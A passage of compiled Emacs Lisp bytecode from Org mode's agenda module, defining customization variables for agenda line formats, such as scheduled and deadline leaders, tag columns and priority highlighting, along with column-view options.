"Format")) (cons (const tags) (string :tag "Format")) (cons (const search) (string :tag "Format")))) :group 'org-agenda-line-format) #@108 The compiled version of the most recently used prefix format. See the variable `org-agenda-prefix-format'. (defvar org-prefix-format-compiled nil (#$ . 36461)) #@158 Format for the TODO keyword in agenda lines. Set this to something like "%-12s" if you want all TODO keywords to occupy a fixed space in the agenda display. (custom-declare-variable 'org-agenda-todo-keyword-format '"%-1s" '(#$ . 36628) :group 'org-agenda-line-format :type 'string) #@362 Text preceding timerange entries in the agenda view. This is a list with two strings. The first applies when the range is entirely on one day. The second applies if the range spans several days. The strings may have two "%d" format specifiers which will be filled with the sequence number of the days, and the total number of days in the range, respectively. (custom-declare-variable 'org-agenda-timerange-leaders ''("" "(%d/%d): ") '(#$ . 36917) :group 'org-agenda-line-format :type '(list (string :tag "Deadline today ") (choice :tag "Deadline relative" (string :tag "Format string") (function)))) #@473 Text preceeding scheduled items in the agenda view. This is a list with two strings. The first applies when the item is scheduled on the current day. The second applies when it has been scheduled previously, it may contain a %d indicating that this is the nth time that this item is scheduled, due to automatic rescheduling of unfinished items for the following day. So this number is one larger than the number of days that passed since this item was scheduled first. (custom-declare-variable 'org-agenda-scheduled-leaders ''("Scheduled: " "Sched.%2dx: ") '(#$ . 37528) :group 'org-agenda-line-format :type '(list (string :tag "Scheduled today ") (string :tag "Scheduled previously"))) #@287 Text preceeding deadline items in the agenda view. This is a list with two strings. The first applies when the item has its deadline on the current day. The second applies when it is in the past or in the future, it may contain %d to capture how many days away the deadline is (was). (custom-declare-variable 'org-agenda-deadline-leaders ''("Deadline: " "In %3d d.: ") '(#$ . 38229) :group 'org-agenda-line-format :type '(list (string :tag "Deadline today ") (choice :tag "Deadline relative" (string :tag "Format string") (function)))) #@625 Non-nil means, remove duplicate time specifications in agenda items. When the format `org-agenda-prefix-format' contains a `%t' specifier, a time-of-day specification in a headline or diary entry is extracted and placed into the prefix. If this option is non-nil, the original specification (a timestamp or -range, or just a plain time(range) specification like 11:30-4pm) will be removed for agenda display. This makes the agenda less cluttered. The option can be t or nil. It may also be the symbol `beg', indicating that the time should only be removed what it is located at the beginning of the headline/diary entry. (custom-declare-variable 'org-agenda-remove-times-when-in-prefix 't '(#$ . 38777) :group 'org-agenda-line-format :type '(choice (const :tag "Always" t) (const :tag "Never" nil) (const :tag "When at beginning of entry" beg))) #@189 Default duration for appointments that only have a starting time. When nil, no duration is specified in such cases. When non-nil, this must be the number of minutes, e.g. 60 for one hour. (custom-declare-variable 'org-agenda-default-appointment-duration 'nil '(#$ . 39633) :group 'org-agenda-line-format :type '(choice (integer :tag "Minutes") (const :tag "No default duration"))) #@57 Non-nil means, show inherited tags in each agenda line. (custom-declare-variable 'org-agenda-show-inherited-tags 't '(#$ . 40020) :group 'org-agenda-line-format :type 'boolean) #@180 Non-nil means, remove the tags from the headline copy in the agenda. When this is the symbol `prefix', only remove tags when `org-agenda-prefix-format' contains a `%T' specifier. (custom-declare-variable 'org-agenda-remove-tags 'nil '(#$ . 40204) :group 'org-agenda-line-format :type '(choice (const :tag "Always" t) (const :tag "Never" nil) (const :tag "When prefix format contains %T" prefix))) (byte-code "\300\301!\203 \301\302\303\"\210\300\207" [fboundp defvaralias org-agenda-remove-tags-when-in-prefix org-agenda-remove-tags] 3) #@240 Shift tags in agenda items to this column. If this number is positive, it specifies the column. If it is negative, it means that the tags should be flushright to that column. For example, -80 works well for a normal 80 character screen. (custom-declare-variable 'org-agenda-tags-column '(if (featurep 'xemacs) -79 -80) '(#$ . 40749) :group 'org-agenda-line-format :type 'integer) (byte-code "\300\301!\203 \301\302\303\"\210\300\207" [fboundp defvaralias org-agenda-align-tags-to-column org-agenda-tags-column] 3) #@424 Non-nil means, highlight low and high priorities in agenda. When t, the highest priority entries are bold, lowest priority italic. This may also be an association list of priority faces, whose keys are the character values of `org-highest-priority', `org-default-priority', and `org-lowest-priority' (the default values are ?A, ?B, and ?C, respectively). The face may be a names face, or a list like `(:background "Red")'. (custom-declare-variable 'org-agenda-fontify-priorities 't '(#$ . 41273) :group 'org-agenda-line-format :type '(choice (const :tag "Never" nil) (const :tag "Defaults" t) (repeat :tag "Specify" (list (character :tag "Priority" :value 65) (sexp :tag "face"))))) (custom-declare-group 'org-agenda-column-view nil "Options concerning column view in the agenda." :tag "Org Agenda Column View" :group 'org-agenda) #@73 Non-nil means, show summaries for columns displayed in the agenda view. (custom-declare-variable 'org-agenda-columns-show-summaries 't '(#$ . 42110) :group 'org-agenda-column-view :type 'boolean) #@425 Non-nil means, remove the prefix from a headline for agenda column view. The special ITEM field in the columns format contains the current line, with all information shown in other columns (like the TODO state or a tag). When this variable is non-nil, also the agenda prefix will be removed from the content of the ITEM field, to make sure as much as possible of the headline can be shown in the limited width of the field. (custom-declare-variable 'org-agenda-columns-remove-prefix-from-item 't '(#$ . 42313) :group 'org-agenda :type 'boolean) #@412 Non-nil means, recompute all summary properties before column view. When column view in the agenda is listing properties that have a summary operator, it can go to all relevant buffers and recompute the summaries there. This can mean overhead for the agenda column view, but is necessary to have thing up to date. As a special case, a CLOCKSUM property also makes sure that the clock computations are current. (custom-declare-variable 'org-agenda-columns-compute-summary-properties 't '(#$ . 42865) :group 'org-agenda-column-view :type 'boolean) #@380 Non-nil means, the duration of an appointment will add to day effort. The property to which appointment durations will be added is the one given in the option `org-effort-property'. If an appointment does not have an end time, `org-agenda-default-appointment-duration' will be used. If that is not set, an appointment without end time will not contribute to the time estimate. (custom-declare-variable 'org-agenda-columns-add-appointments-to-effort-sum 'nil '(#$ . 43419) :group 'org-agenda-column-view :type 'boolean) (require 'org) #@206 Replace or add a command in `org-agenda-custom-commands'. This is mostly for hacking and trying a new command - once the command works you probably want to add it to `org-agenda-custom-commands' for good. (defalias 'org-add-agenda-custom-command #[(entry) "\303@ \"\211\203 \nA\241\202 B\211)\207" [entry org-agenda-custom-commands ass assoc] 4 (#$ . 43962)]) #@31 Keymap for `org-agenda-mode'. (defvar org-agenda-mode-map (make-sparse-keymap) (#$ . 44336)) (byte-code "\301B\302\301!\204 \303\301\304\"\210\305B\302\305!\204 \303\305\304\"\210\306B\302\306!\204- \303\306\304\"\210\307B\302\307!\204<